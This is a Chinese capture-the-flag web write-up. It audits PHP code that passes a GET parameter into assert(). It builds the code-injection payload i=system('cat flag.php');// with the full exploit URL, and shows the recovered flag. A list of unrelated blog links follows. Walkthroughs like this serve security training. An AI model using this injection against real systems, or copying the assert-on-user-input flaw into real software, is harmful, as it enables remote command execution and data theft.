CTF-Web题解:“require_once(‘flag.php‘); &assert(“$i == $u“);”

文章目录

1.进入环境

进入靶场后看到页面显示代码如下:

2.常规检查

(1)ctrl+u检查页面代码,无明显异常。

(2)目录检查,使用dirsearch进行扫描,发现有flag.php出现。

访问后发现无任何回显,为题目的干扰项。

3.代码审计

接下里对代码进行审计,代码如下:

php 复制代码
<?php 
require_once('flag.php'); 
error_reporting(0); 

if(!isset($_GET['u'])){ 
    highlight_file(__FILE__); 
    die(); 
}else{ 
    $i=$_GET['i']; 
    $u=$_GET['u']; 
    if($_GET['u']!="Hello World"){ 
        die('die...'); 
    } 
    assert("$i == $u"); 
}

观察发现该代码为php代码,解释如下:

php 复制代码
require_once('flag.php'):引入 flag.php 文件,该文件可能包含敏感信息(如 flag)。
require_once :确保文件只被引入一次。
error_reporting(0):关闭所有错误报告,防止敏感信息通过错误信息泄露。
if(!isset($_GET['u'])):检查 GET 参数 u 是否存在。
highlight_file(__FILE__):如果 u 不存在,高亮显示当前文件内容(即源码)。
die():终止脚本执行。
$i=$_GET['i']:将 GET 参数 i 的值赋给变量 $i。
$u=$_GET['u']:将 GET 参数 u 的值赋给变量 $u。
if($_GET['u']!="Hello World"):检查 GET 参数 u 的值是否不等于 "Hello World"。
die('die...'):如果 u 的值不是 "Hello World",终止脚本并输出 die...。
assert("$i == $u"):执行断言(assert),检查 $i 是否等于 $u。

代码要求构造一个u,并且u得是Hello World;同时构造一个i,i得等于u。但成功构造后发现无事发生,代码里的逻辑也是,如果满足了这些条件,确实没有任何的回显和输出。

于是考虑在构造过程中加入命令,代码中给出了flag.php,但开头已经访问过了,是空白的,所以可能需要命令执行给打印出来。但是u必须等于Hello World,所以只能在i里面构造。
观察到这里使用了assert函数,能实现比较效果的函数有很多,但为什么偏偏是这个不常见的函数,可能突破点在这里!

查看assert()的官方解释:

发现这个函数会将里面的参数作为php代码执行!

4.url构造

于是,我们便可以利用i参数来构造命令,同时,在命令后加上注释符号,结束和u的比较。

构造u和i如下:

php 复制代码
u=Hello World
i=system('cat flag.php');//

最后,整个url构造为:

http://靶机地址/?u=Hello World&i=system('cat flag.php');//

访问,发现页面是空白,查看页面代码,找出flag!

最后的flag为:

flag{6833165eb0924067aa6897c389d76f30}

5.总结

本题的难点在于要发现其用了一个不常见的函数来执行比较操作,在有限的信息量下,任何一点可疑的地方都要揪着不放。最终发现了漏洞的所在。

相关推荐
檀越剑指大厂26 分钟前
【Linux系列】如何在 Linux 服务器上快速获取公网
linux·服务器·php
Q_Q5110082853 小时前
python的软件工程与项目管理课程组学习系统
spring boot·python·django·flask·node.js·php·软件工程
合作小小程序员小小店3 小时前
SDN安全开发环境中常见的框架,工具,第三方库,mininet常见指令介绍
python·安全·生成对抗网络·网络安全·网络攻击模型
BingoGo4 小时前
重新学习 PHP 目前短运算符 简化你得代码
后端·php
Fine姐6 小时前
The Network Link Layer: 无线传感器中Delay Tolerant Networks – DTNs 延迟容忍网络
开发语言·网络·php·硬件架构
Whoami!11 小时前
2-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 漏洞扫描▸AppScan(WEB扫描)
网络安全·信息安全·appscan·oscp
hotlinhao11 小时前
php版的FormCreate使用注意事项
php·crmeb
鱼鱼说测试17 小时前
Jenkins+Python自动化持续集成详细教程
开发语言·servlet·php
网硕互联的小客服21 小时前
Apache 如何支持SHTML(SSI)的配置方法
运维·服务器·网络·windows·php
苏琢玉1 天前
如何让同事自己查数据?写一个零依赖 PHP SQL 查询工具就够了
mysql·php